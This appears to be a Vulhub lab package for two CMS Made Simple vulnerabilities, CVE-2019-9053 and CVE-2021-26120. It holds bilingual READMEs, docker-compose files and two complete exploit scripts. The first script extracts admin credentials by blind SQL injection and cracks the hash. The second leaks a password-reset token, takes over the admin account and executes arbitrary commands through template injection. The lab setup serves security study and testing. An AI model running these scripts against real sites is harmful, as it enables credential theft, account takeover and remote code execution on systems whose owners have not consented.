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# CMS Made Simple (CMSMS) < 2.2.10 Unauthenticated SQL Injection (CVE-2019-9053)
[中文版本(Chinese version)](README.zh-cn.md)
CMS Made Simple (CMSMS) is a free, open source content management system to provide developers, programmers and site owners a web-based development and administration area.
In the version prior to 2.2.9.1, CMS Made Simple was affected by a unauthenticated SQL injection attack, which attacker is able to gain the administrator's password or password reset token. Combining the authenticated SSTI issue ([CVE-2021-26120](https://github.com/vulhub/vulhub/tree/master/cmsms/CVE-2021-26120)), could allow an attacker to execute arbitrary code on the target server.
References:
- <https://www.exploit-db.com/exploits/46635>
- <https://srcincite.io/pocs/cve-2021-26120.py.txt>
## Vulnerable Environment
Execute following command to start a CMS Made Simple 2.2.9.1:
```
docker compose up -d
```
After the server is started, you should install the CMS at `http://your-ip/install.php`.
Following the install instructions to install the CMSMS, MySQL database address is `db`, database name is `cmsms`, username and password are both `root`.
![](1.png)
## Exploit
Use the script on <https://www.exploit-db.com/exploits/46635> to exploit the SQL injection vulnerability:
```
python2 poc.py -u http://127.0.0.1
```
![](2.png)
As you can see, the administrator's password is exposed by SQL injection.

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# CMS Made Simple (CMSMS) < 2.2.10 前台SQL注入漏洞CVE-2019-9053
CMS Made SimpleCMSMS是一个免费的开放源码内容管理系统为开发人员、程序员和网站所有者提供基于网络的开发和管理功能。
在 2.2.9.1 之前的版本中CMS Made Simple 存在一个未验证的 SQL 注入漏洞,攻击者可利用该漏洞获取管理员密码或密码重置令牌。结合后台的 SSTI 漏洞([CVE-2021-26120](https://github.com/vulhub/vulhub/tree/master/cmsms/CVE-2021-26120)),攻击者可在目标服务器上执行任意代码。
参考链接:
- <https://www.exploit-db.com/exploits/46635>
- <https://srcincite.io/pocs/cve-2021-26120.py.txt>
## 漏洞环境
执行如下命令启动一个CMS Made Simple 2.2.9.1服务器:
```
docker compose up -d
```
环境启动后,你需要访问`http://your-ip/install.php`并安装CMS服务。
安装过程请根据页面中的安装向导来进行其中MySQL数据库的地址是`db`,数据库名是`cmsms`,账号和密码均为`root`
![](1.png)
## 漏洞复现
使用<https://www.exploit-db.com/exploits/46635>中的脚本来利用SQL注入漏洞
```
python2 poc.py -u http://127.0.0.1
```
![](2.png)
可见,管理员密码已经被该脚本获取。

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version: '2'
services:
web:
image: vulhub/cmsms:2.2.9.1
ports:
- "80:80"
depends_on:
- db
db:
image: mysql:5.7
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=cmsms

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#!/usr/bin/env python2
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053
import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
options, args = parser.parse_args()
if not options.url:
print "[+] Specify an url target"
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
exit()
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""
salt = ''
wordlist = ""
if options.wordlist:
wordlist += options.wordlist
def crack_password():
global password
global output
global wordlist
global salt
dict = open(wordlist)
for line in dict.readlines():
line = line.replace("\n", "")
beautify_print_try(line)
if hashlib.md5(str(salt) + line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
dict.close()
def beautify_print_try(value):
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
cprint('[*] Try: ' + value, 'red', attrs=['bold'])
def beautify_print():
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
def dump_salt():
global flag
global salt
global output
ord_salt = ""
ord_salt_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_salt = salt + dictionary[i]
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_salt)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
salt = temp_salt
ord_salt = ord_salt_temp
flag = True
output += '\n[+] Salt for password found: ' + salt
def dump_password():
global flag
global password
global output
ord_password = ""
ord_password_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_password = password + dictionary[i]
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_password)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
password = temp_password
ord_password = ord_password_temp
flag = True
output += '\n[+] Password found: ' + password
def dump_username():
global flag
global db_name
global output
ord_db_name = ""
ord_db_name_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_db_name = db_name + dictionary[i]
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_db_name)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
db_name = temp_db_name
ord_db_name = ord_db_name_temp
output += '\n[+] Username found: ' + db_name
flag = True
def dump_email():
global flag
global email
global output
ord_email = ""
ord_email_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_email = email + dictionary[i]
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_email)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
email = temp_email
ord_email = ord_email_temp
output += '\n[+] Email found: ' + email
flag = True
dump_salt()
dump_username()
dump_email()
dump_password()
if options.cracking:
print colored("[*] Now try to crack password")
crack_password()
beautify_print()

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# CMS Made Simple (CMSMS) Unauthenticated Remote Code Execution (CVE-2019-9053/CVE-2021-26120)
[中文版本(Chinese version)](README.zh-cn.md)
CMS Made Simple (CMSMS) is a free, open source content management system to provide developers, programmers and site owners a web-based development and administration area.
Smarty before 3.1.39 allows code injection via an unexpected function name after a `{function name=` substring, CVE-2021-26120 was assigned to this issue.
CMS Made Simple version <= 2.2.15, a user that is authenticated with designer permissions can trigger a server side template injection, the CVE-2021-26120 mentioned above.
So, if the CMSMS version is prior to 2.2.9.1, unauthencated attacker is able to chain [CVE-2019-9053](https://github.com/vulhub/vulhub/tree/master/cmsms/CVE-2019-9053) and CVE-2021-26120 to execute arbitrary code in the server.
References:
- <https://srcincite.io/pocs/cve-2021-26120.py.txt>
- <https://www.exploit-db.com/exploits/46635>
## Vulnerable Environment
Execute following command to start a CMS Made Simple 2.2.9.1:
```
docker compose up -d
```
After the server is started, you should install the CMS at `http://your-ip/install.php`.
Following the install instructions to install the CMSMS, MySQL database address is `db`, database name is `cmsms`, username and password are both `root`.
![](1.png)
## Exploit
Use the [POC](poc.py) inside the <https://srcincite.io/pocs/cve-2021-26120.py.txt> to reset the administrator password and execute arbitrary commands:
```
python poc.py 127.0.0.1 / id
```
![](2.png)
As you can see, `id` command has been executed.

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# CMS Made Simple (CMSMS) 前台代码执行漏洞CVE-2021-26120
CMS Made SimpleCMSMS是一个免费的开放源码内容管理系统为开发人员、程序员和网站所有者提供基于网络的开发和管理功能。
Smarty 3.1.39 之前的版本允许在 `{function name=` 子串后注入PHP代码导致代码注入漏洞该漏洞即为CVE-2021-26120。
CMS Made Simple 版本 <= 2.2.15拥有设计师权限的用户可以在后台利用服务端模板注入漏洞即为前面提到的CVE-2021-26120。
因此如果CMSMS版本低于2.2.9.1,未授权的攻击者可以结合[CVE-2019-9053](https://github.com/vulhub/vulhub/tree/master/cmsms/CVE-2019-9053)和CVE-2021-26120漏洞在服务器上执行任意代码。
参考链接:
- <https://www.exploit-db.com/exploits/46635>
- <https://srcincite.io/pocs/cve-2021-26120.py.txt>
## 漏洞环境
执行如下命令启动一个CMS Made Simple 2.2.9.1服务器:
```
docker compose up -d
```
环境启动后,你需要访问`http://your-ip/install.php`并安装CMS服务。
安装过程请根据页面中的安装向导来进行其中MySQL数据库的地址是`db`,数据库名是`cmsms`,账号和密码均为`root`
![](1.png)
## 漏洞复现
使用<https://srcincite.io/pocs/cve-2021-26120.py.txt>中分享的[POC](poc.py)可以使用SQL注入漏洞重置管理员密码并执行任意命令
```
python poc.py 127.0.0.1 / id
```
![](2.png)
可见,`id`命令已被成功执行。

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version: '2'
services:
web:
image: vulhub/cmsms:2.2.9.1
ports:
- "80:80"
depends_on:
- db
db:
image: mysql:5.7
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=cmsms

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import requests
import sys
import re
from time import sleep
from lxml import etree
def login(s, t, usr):
uri = "%sadmin/login.php" % t
s.get(uri)
d = {
"username" : usr,
"password" : usr,
"loginsubmit" : "Submit"
}
r = s.post(uri, data=d)
match = re.search("style.php\?__c=(.*)\"", r.text)
assert match, "(-) login failed"
return match.group(1)
def trigger_or_patch_ssti(s, csrf, t, tpl):
# CVE-2021-26120
d = {
"mact": 'DesignManager,m1_,admin_edit_template,0',
"__c" : csrf,
"m1_tpl" : 10,
"m1_submit" : "Submit",
"m1_name" : "Simplex",
"m1_contents" : tpl
}
r = s.post("%sadmin/moduleinterface.php" % t, files={}, data=d)
if "rce()" in tpl:
r = s.get("%sindex.php" % t)
assert ("endrce" in r.text), "(-) rce failed!"
cmdr = r.text.split("endrce")[0]
print(cmdr.strip())
def determine_bool(t, exp):
p = {
"mact" : "News,m1_,default,0",
"m1_idlist": ",1)) and %s-- " % exp
}
r = requests.get("%smoduleinterface.php" % t, params=p)
return True if r.text.count("Posted by:") == 2 else False
def trigger_sqli(t, char, sql, c_range):
# CVE-2019-9053
for i in c_range:
# <> characters are html escaped so we just have =
# substr w/ from/for because anymore commas and the string is broken up resulting in an invalid query
if determine_bool(t, ",1)) and ascii(substr((%s) from %d for 1))=%d-- " % (sql, char, i)): return chr(i)
return -1
def leak_string(t, sql, leak_name, max_length, c_range):
sys.stdout.write("(+) %s: " % leak_name)
sys.stdout.flush()
leak_string = ""
for i in range(1,max_length+1):
c = trigger_sqli(t, i, sql, c_range)
# username is probably < 25 characters
if c == -1:
break
leak_string += c
sys.stdout.write(c)
sys.stdout.flush()
assert len(leak_string) > 0, "(-) sql injection failed for %s!" % leak_name
return leak_string
def reset_pwd_stage1(t, usr):
d = {
"forgottenusername" : usr,
"forgotpwform" : 1,
}
r = requests.post("%sadmin/login.php" % t, data=d)
assert ("User Not Found" not in r.text), "(-) password reset failed!"
def reset_pwd_stage2(t, usr, key):
d = {
"username" : usr,
"password" : usr, # just reset to the username
"passwordagain" : usr, # just reset to the username
"changepwhash" : key,
"forgotpwchangeform": 1,
"loginsubmit" : "Submit",
}
r = requests.post("%sadmin/login.php" % t, data=d)
match = re.search("Welcome: <a href=\"myaccount.php\?__c=[a-z0-9]*\">(.*)<\/a>", r.text)
assert match, "(-) password reset failed!"
assert match.group(1) == usr, "(-) password reset failed!"
def leak_simplex(s, t, csrf):
p = {
"mact" : "DesignManager,m1_,admin_edit_template,0",
"__c" : csrf,
"m1_tpl" : 10
}
r = s.get("%sadmin/moduleinterface.php" % t, params=p)
page = etree.HTML(r.text)
tpl = page.xpath("//textarea//text()")
assert tpl is not None, "(-) leaking template failed!"
return "".join(tpl)
def remove_locks(s, t, csrf):
p = {
"mact" : "DesignManager,m1_,admin_clearlocks,0",
"__c" : csrf,
"m1_type" : "template"
}
s.get("%sadmin/moduleinterface.php" % t, params=p)
def main():
if(len(sys.argv) < 4):
print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0])
print("(+) eg: %s 192.168.75.141 / id" % sys.argv[0])
print("(+) eg: %s 192.168.75.141 /cmsms/ \"uname -a\"" % sys.argv[0])
return
pth = sys.argv[2]
cmd = sys.argv[3]
pth = pth + "/" if not pth.endswith("/") else pth
pth = "/" + pth if not pth.startswith("/") else pth
target = "http://%s%s" % (sys.argv[1], pth)
print("(+) targeting %s" % target)
if determine_bool(target, "1=1") and not determine_bool(target, "1=2"):
print("(+) sql injection working!")
print("(+) leaking the username...")
username = leak_string(
target,
"select username from cms_users where user_id=1",
"username",
25, # username column is varchar(25) in the db
list(range(48,58)) + list(range(65,91)) + list(range(97,123)) # charset: 0-9A-Za-z
)
print("\n(+) resetting the %s's password stage 1" % username)
reset_pwd_stage1(target, username)
print("(+) leaking the pwreset token...")
pwreset = leak_string(
target,
"select value from cms_userprefs where preference=0x70777265736574 and user_id=1", # qoutes will break things
"pwreset",
32, # md5 hash is always 32
list(range(48,58)) + list(range(97,103)) # charset: 0-9a-f
)
print("\n(+) done, resetting the %s's password stage 2" % username)
reset_pwd_stage2(target, username, pwreset)
session = requests.Session()
print("(+) logging in...")
csrf = login(session, target, username)
print("(+) leaking simplex template...")
remove_locks(session, target, csrf)
simplex_tpl = leak_simplex(session, target, csrf)
print("(+) injecting payload and executing cmd...\n")
rce_tpl = "{function name='rce(){};system(\"%s\");function '}{/function}endrce" % cmd
trigger_or_patch_ssti(session, csrf, target, rce_tpl+simplex_tpl)
while True:
r = session.get("%sindex.php" % target)
if "endrce" not in r.text:
break
trigger_or_patch_ssti(session, csrf, target, simplex_tpl)
if __name__ == '__main__':
main()